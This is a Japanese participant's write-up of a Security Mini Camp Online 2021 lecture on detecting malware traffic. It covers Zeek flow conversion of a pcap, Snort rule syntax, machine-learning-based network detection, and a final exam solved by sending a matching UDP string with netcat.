
ということであとはWiresharkで「ip.addr==192.168.180.163 && tcp.port==1337」とフィルタし、追跡→TCPストリームで内容をflag.encと保存、それを復号化で…

無事修了できました。やったね。


セキュリティ・ミニキャンプオンライン2021 参加記 ~内容編2:マルウェアのトラフィックを分析・検知してみよう~

ミニキャンプオンライン2021「マルウェアのトラフィックを分析・検知してみよう」の募集課題、事前課題、講義、修了試験についての記事です。

他講義リンク

 

マルウェアのトラフィックを分析・検知してみよう

マルウェア検知システム(IDS)の中で、今回はネットワーク型(NIDS)を取り扱った講義でした。こちらも事前課題はありませんでした。

自分はこの分野はほぼ触ったことが無く、0からのスタートでしたが、事前知識も説明して頂けたお陰で無事進めることが出来ました。また、機械学習を利用した検知という現代な対応も知れて良い講義でした。

募集課題

配布されたpcapファイルをフロー形式に変換し、

  •  パケット数、フロー数などのエントリ数
  • 変化があった場合、その条件
  • フローの観測時間とエントリの出力順
  • L3プロトコル(UDP/TCP)による出力の違い
  • その他気づいたこと

 について考察するという問題でした。ミニキャンプオンライン概要ページ(https://www.security-camp.or.jp/minicamp/online2021.html)募集要項の問題2にあたります。

自分は応募時、この問題は選択しませんでしたが、修了後に軽く解いてみたのを以下に記述します。

Zeekのインストール

Zeek(https://zeek.org/)はLinux環境でしか動かないようなので、その環境を用意してください。自分はWSL2のUbuntu 20.04を利用しました。

その後、好きな方法でインストールしていいのですが、aptでインストールした場合だと/opt/zeek/binにパスを通してくれないため、手動で行う必要がありました。

Binary Packages(https://github.com/zeek/zeek/wiki/Binary-Packages)のページをみると恐らく他のインストール方法でも同様だと思われます。ご注意ください。

フロー形式への変換

pcapがあるディレクトリに移り、

zeek -r <pcapファイル>

と実行することで変換できます。ディレクトリのconn.logが当たります。

考察

パケット数、フロー数などのエントリ数

まず、変換したところフローのエントリは6つになりました。パケット数は送り元からのパケットが合計13、送り先からのパケットが10、合計23となりました。pcapファイルをそのままWiresharkで開いても23なので正しく変換されていると考えられます。

エントリ数がパケット数よりフロー数で減ったのは、TCPの3ウェイハンドシェイクがまとめられたためだと考えられます。(参考:https://docs.zeek.org/en/master/logs/conn.html)

フローの観測時間とエントリの出力順

自分が変換したものでは一部時系列に並んでいませんでした。この理由としては、時系列では「DNSの通信→UDP送信→TCP通信」となっているのですが、一度RSTが返ってきてしまっていて、TCP通信が後にまとまっているために時系列がズレてしまったと考えます。正直わかんないです…

L3プロトコル(UDP/TCP)による出力の違い

historyフィールドでUDPだとD、TCPだとSが先頭に来るのに気が付きました。これの理由はDは送り元からのデータパケットを指していて、Sが送り元のSYNパケットを指しているからだとわかりました。


全体を通して、この募集課題を行っていれば、Zeekのフィールドについて理解が深まり、講義で行った機械学習の演習に役立ったな…ってなりました。

講義

講義は大きく

  • マルウェアトラフィック検知の事前知識
  • Snortを使った演習
  • 機械学習を利用した検知
の 3つのセクションに分かれていました。

マルウェアトラフィック検知の事前知識

まず、マルウェア「ユーザやシステム」に対して意図しない動作を行うコードやソフトウェアを指していて、「トロイの木馬」、「ボット」、「ワーム」といったタイプによる分類、「DDoS」や「ポートスキャン」といった動作による分類、利用する権限等で分類することができます。

マルウェア検知システムは検知方法検知場所で分類することができます。

検知方法には、定義ファイルなどのルールに一致するかで検知するシグネチャベース、大量の良性活動と悪性活動からルールを学習し検知する機械学習ベースなどで分類が行えます。

検知場所は、PC等の端末で動き、プロセス情報等を利用して検知するホスト型、ネットワークの中間に設置し、トラフィックパターンを利用して検知するネットワーク型で分類が行えます。

今回利用したSnortはシグネチャベースの検知を行うネットワーク型のシステムとなっており、後半ではネットワーク型のシステムで機械学習ベースの検知を行う実習を行いました。

Snortを使った演習

今回は実際にルールを記述し、アラートが上がることを確認しました。

Snortのルールは

alert icmp any -> 192.168.1.xxx any (msg: "ICMP detected"; sid: 10001)

のように記述し、/etc/snort/rules以下に保存します。構造は

<action> <protocol> <送信元IP> <ポート番号> -> <宛先IP> <ポート番号> (options)

となっています。

actionには

  • alert:アラート出力、パケット内容記録
  • log:パケット内容記録
  • pass:パケット通過
  • activate:アラート出力、dynamicの処理実行
  • dynamic:指定された処理を実行
を指定することができ、protocolは
  • tcp
  • udp
  • icmp
  • ip

を指定することができます。

optionsでは

  • msg:指定された文字列をアラートまたはログに出力。"(ダブルクォート)でくくる
  • flags:TCP制御フラグ。F(FIN)、S(SIN)、R(RST)、P(PSH)、A(ACK)、U(URG)で指定
  • sid:シグネチャID。99以下は予約。100-999,999は配布ルール用。1,000,000以上はユーザが定義できるルール

を指定できます。

したがって、ルールの例で示したものであれば

「192.168.1.xxx宛てのすべてのICMPパケットを受信したら"ICMP_detected"とアラートを出しパケットを記録する」

というルールとなっています。

alertファイルは/var/log/snort/alert以下に存在しcat等で見ることができ、logファイルは/var/log/snort/log以下に存在しtcpdumpで見ることができます。

機械学習を利用した検知

前節でSnortを利用した検知を説明しましたが、デメリットとして「未知の攻撃(悪性活動)に対応できない」というものがあげられます。そこで既知の悪性活動と良性活動データを機械学習にかけることでそのデメリットを補うことができます。

学習に利用する活動データは事前課題で扱ったようにZeekでフロー形式にして利用します。

ミニキャンプではその後フィールドや機械学習アルゴリズム等を変換し、評価・考察を行いました。

この際、自分は深く考えず「コネクション継続時間」や「データサイズ」で学習を回してしまったのですが、学習が終わらないまま実習時間が過ぎてしまいました。終わった後に

の気づきを得ました。頭が弱い。

修了試験

修了試験は「示されたSnort定義ルールに反応するパケットを送信する」という問題になっており、そのルールが

alert udp any -> <競技サーバIP> <ポート> (content: "What is flag?";)

のようなものでした(記憶を辿ったものであり、細かい部分が違うかもです)。

パケット送信にはnetcatを利用し

$ netcat -u <競技サーバIP> <ポート>

->What is flag?

と入力することでフラグを得ることができました、やったね。